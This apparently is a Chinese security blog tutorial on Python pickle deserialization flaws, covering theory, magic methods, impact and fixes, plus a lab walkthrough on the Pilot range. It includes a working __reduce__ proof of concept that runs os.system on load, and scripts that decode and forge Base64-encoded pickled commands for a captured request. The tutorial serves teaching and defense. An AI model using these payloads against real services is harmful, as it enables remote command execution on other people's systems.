首页 > 编程语言 >Web安全基础学习:Python反序列化漏洞之pickle反序列化

Web安全基础学习:Python反序列化漏洞之pickle反序列化

时间:2024-07-03 20:56:52浏览次数:20  
标签:__ Web 执行 Python 对象 序列化 pickle

理论基础

  • 序列化与反序列化

    序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。

    • 序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后可以通过反序列化操作重新构建对象并恢复其状态和数据。
    • 反序列化是指将序列化后的字节流转换回对象或数据结构的过程。在反序列化过程中,字节流被读取并解析,以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保存的对象或接收通过网络传输的序列化数据。通过反序列化,可以重新构建对象并恢复其之前序列化的状态和数据。

    序列化和反序列化在许多领域都有广泛的应用,例如分布式系统、持久化存储、缓存机制以及跨平台通信。它们允许将复杂的对象或数据结构转换为字节流进行传输或存储,从而实现不同系统之间的数据交换和共享。

  • 反序列化漏洞介绍

    不安全的反序列化是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。

  • 漏洞成因
    1. 不受限制的反序列化:如果反序列化操作没有适当的验证和限制,允许任意的序列化数据被反序列化,攻击者可以构造恶意的序列化数据来执行恶意代码。
    2. 未经过滤的输入:如果反序列化操作接受未经过滤的输入数据,攻击者可以通过构造特定的恶意数据来执行命令或导致不受控制的行为。
    3. 自定义的反序列化逻辑:如果使用自定义的反序列化逻辑而不是使用安全的序列化库或框架,可能会导致安全问题。自定义逻辑可能缺乏必要的安全验证和过滤步骤,从而容易受到攻击。
    4. 恶意的序列化数据:如果攻击者能够在反序列化操作中提供恶意构造的序列化数据,可能会导致命令执行或其他不受控制的行为。
  • pickle反序列化漏洞
    1. pickle反序列化的数据直接用于命令拼接,则会直接导致命令执行。

    2. pickle中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行。通常会利用到Python的反弹shell。

  • pickle反序列化相关函数
    1. pickle.dump():将obj对象序列化为字节(bytes)写入到file文件中。
    2. pickle.load():从一个对象文件中读取序列化数据,将其反序列化之后返回一个对象。
    3. pickle.dumps():方法将obj对象序列化并返回一个bytes对象。
    4. pickle.loads():将bytes反序列化并返回一个对象。
    5. pickle的更多使用:Python 对象序列化
  • pickle前置知识之Python魔术方法

    Python魔术方法(Magic Methods)是一系列特殊命名的方法,其名称以双下划头和尾(例如__init____new__)的形式出现,这些方法在类的特定事件被触发时自动执行,无需显式调用。这些方法允许程序员自定义类的行为,以创建更具表现力和功能的类实例。

    • 常用的魔术方法:

      __init__(self):实例化对象之后立即触发。
      
      __reduce__(self):在反序列化过程开始时被调用。 
      
      __new__(cls):它在__init__之前被调用,并必须返回一个对象实例。
      
      __str__(self):定义对象转换为字符串时的行为,当使用str()函数或print()函数时自动调用。
      
      __call__(self):将对象当作函数调用时触发。
      
      __getattr__(self, name):获取不存在的对象属性时被触发
      
      __setattr__(self, name, value):设置对象成员值的时候触发
      
      __del__(self):当该类对象被销毁时,自动触发。
      
    • 更多魔术方法:CSDN-Python魔术方法

  • pickle反序列化进阶之错误使用产生RCE

    不安全的序列化数据直接进行命令拼接或执行,产生命令执行漏洞。此种类型漏洞利用难度低,只要正确拼接了命令,即可完成攻击。

  • pickle反序列化进阶之reduce进行RCE
    1. 产生原因:Python 中的魔术方法 __reduce__() 在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果。

    2. 攻击案例:

      import pickle
      import os
      
      class Rce(object): 
          def __reduce__(self):
              return (os.system,('ipconfig',))
      
      a = Rce()
      b = pickle.dumps(a)
      print(b) # b是反序列化数据
      pickle.loads(b)  # 执行该语句进行反序列化,自动执行 __reduce__ 方法,并且执行 os.system('ipconfig')
      
  • 漏洞危害
    1. 远程代码执行:攻击者可以通过构造恶意序列化数据注入和执行任意代码,从而完全控制目标系统,并执行恶意操作。
    2. 远程命令执行:攻击者可以通过反序列化漏洞在目标系统上执行远程命令,从而对其他系统或网络资源造成进一步的威胁。
    3. 信息泄露:攻击者可以利用反序列化漏洞读取和获取目标系统中的敏感信息,例如数据库凭据、用户密码、加密密钥等。
    4. 拒绝服务(DoS)攻击:攻击者可以发送恶意序列化数据来触发异常或消耗过多的系统资源,导致系统崩溃或无法提供正常的服务。
  • 修复建议
    • 不要将不安全的反序列化数据应用在命令执行等高危操作中。
    • 使用安全的序列化库或框架,这些库经过严格测试和审查,并提供了适当的安全防护机制。
    • 对反序列化输入进行严格的验证和过滤,只接受预期的数据格式和内容。
    • 不要从不受信任的来源接受序列化数据,尽量限制数据来源。
    • 定期更新和修复序列化库和相关组件,以获取最新的安全修补程序。
    • 配置系统和应用程序的安全设置,限制恶意代码执行的可能性。

实践学习

漏洞环境以Pilot靶场为例:下载地址与部署教程

  1. 进入漏洞页面,发现服务器进程监控每隔固定时间会刷新。

  2. 抓包拦截刷新请求,发现通过Base64编码进行了命令执行,但无法解码出命令:

    l1-1

  3. 根据格式判断,此处考虑解码后的数据经过Pickle序列化为字节类型,所以写脚本尝试验证:

    在这里插入图片描述

    import base64, pickle
    data = "gASVDwAAAAAAAACMC3RvcCAtYiAtbiAxlC4="
    print(pickle.loads(base64.b64decode(data)))
    
  4. 成功反序列化出命令。重新写脚本,将需要执行的系统命令序列化并编码:

    l1-3

    import pickle,base64
    print(base64.b64encode(pickle.dumps("echo 'python pickle serialize'")))
    
  5. 将生成的字符串编码放入请求包重新执行,成功执行命令:

    l1-4

标签:__,Web,执行,Python,对象,序列化,pickle
From: https://blog.csdn.net/qq_51862722/article/details/139781532

相关文章

  • Python运算符
    一,算数运算符1.什么是算数运算符算数运算符是用于进行数学运算的符号。运算符用于对数字进行加减乘除等数学运算,并返回运算结果。2.算数运算符的分类基础的      加(+) 减(-) 乘(*) 除(/)   四则运算(这些是我们上小学都开始学的了)在Python中还有一些我们经......
  • python的运算符
    算数运算符   python算数运算符有七种,{+,-,*,/,%,//,**}         +表示求和a=10b=20c=a+bprint(c)          -表示相减a=10b=20c=b-aprint(c)    *表示相乘a=10b=20c=a*bprint(c......
  • 【JavaScript脚本宇宙】高效Web开发利器:全面解析六大HTML解析器与DOM库
    精益求精:揭秘六个改变Web开发的HTML解析与DOM操作工具前言在现代Web开发中,HTML解析器和DOM操作库是不可或缺的工具。无论是爬取数据、处理复杂的HTML文档,还是模拟浏览器环境,这些工具都扮演着关键角色。本文将深入探讨六个广泛使用的HTML解析器和DOM操作库,它们分别是:htmlpa......
  • WebService解释
    WebService解释WebService是一种可以接收从Internet或者Intranet上的其它系统中传递过来的请求,轻量级的独立的通讯技术。是:通过SOAP在Web上提供的软件服务,使用WSDL文件进行说明,并通过UDDI进行注册。其中的:XML:(ExtensibleMarkupLanguage)扩展型可标记语言。面向短期的临时......
  • 这个神器绝了!可视化 Python 打包 exe
     在Python开发中,如何将脚本打包成独立的可执行文件,是许多开发者面临的挑战。特别是在需要将应用程序分发给不具备Python环境的用户时,打包工具显得尤为重要。auto-py-to-exe作为一款强大的Python打包工具,为开发者提供了简便快捷的解决方案。那么,auto-py-to-exe究竟是如何简化......
  • Python预测体重变化:决策树、tf神经网络、随机森林、梯度提升树、线性回归可视化分析吸
    全文链接:https://tecdat.cn/?p=36648原文出处:拓端数据部落公众号在当今的数据驱动时代,机器学习算法已成为解析复杂数据集、揭示隐藏模式及预测未来趋势的重要工具。特别是在医疗健康领域,这些算法的应用极大地提升了我们对疾病预防、诊断及治疗方案的理解与制定能力。本文旨在通......
  • 掌握Mojolicious会话管理:构建安全、持久的Web应用
    掌握Mojolicious会话管理:构建安全、持久的Web应用Mojolicious是一个基于Perl的高性能、异步Web开发框架,它提供了一套完整的工具来构建现代Web应用。会话管理是Web开发中的一个关键组成部分,它允许应用识别和保持用户的登录状态。本文将深入探讨如何在Mojolicious中实现会话......
  • JavaWeb—Servlet
    概述Javaweb的核心就是围绕servletServlet就是一个接口,定义了java类被浏览器访问到(tomcat识别)的接口将来就是自己写一个类,实现servlet接口,重写方法 执行过程当服务器接收到客户端浏览器的请求后,会解析请求的url路径,获取访问的servlet的资源路径查找web.xml文件......
  • 手把手教你如何用python写一个经典小游戏(仅需100行以内的代码)
    创作灵感小时候也就是大概十几年前的时候,智能触屏手机还未大量普及,移动网络还是2G,大部分人用的都是小灵通,里面只有几款经典的游戏,比如俄罗斯方块,贪吃蛇等。还记得以前自己玩的不亦乐乎。如今网络发展迅速,通讯设备越来越智能化,集成化,这些上世纪的经典游戏似乎早已淡忘人们的视......
  • 基于python语言的网页设计(手把手教你设计一个个人博客网站)
     总体的设计思路设计网页的思路涉及多个方面,从前端的页面结构和样式,到后端的数据处理和逻辑实现。1.确定网站的需求和功能首先要明确网站的功能需求,比如用户注册登录、博客文章发布和展示、评论系统等。2.选择技术栈选择适合的框架和工具。对于Python,常用的Web框架包括Fl......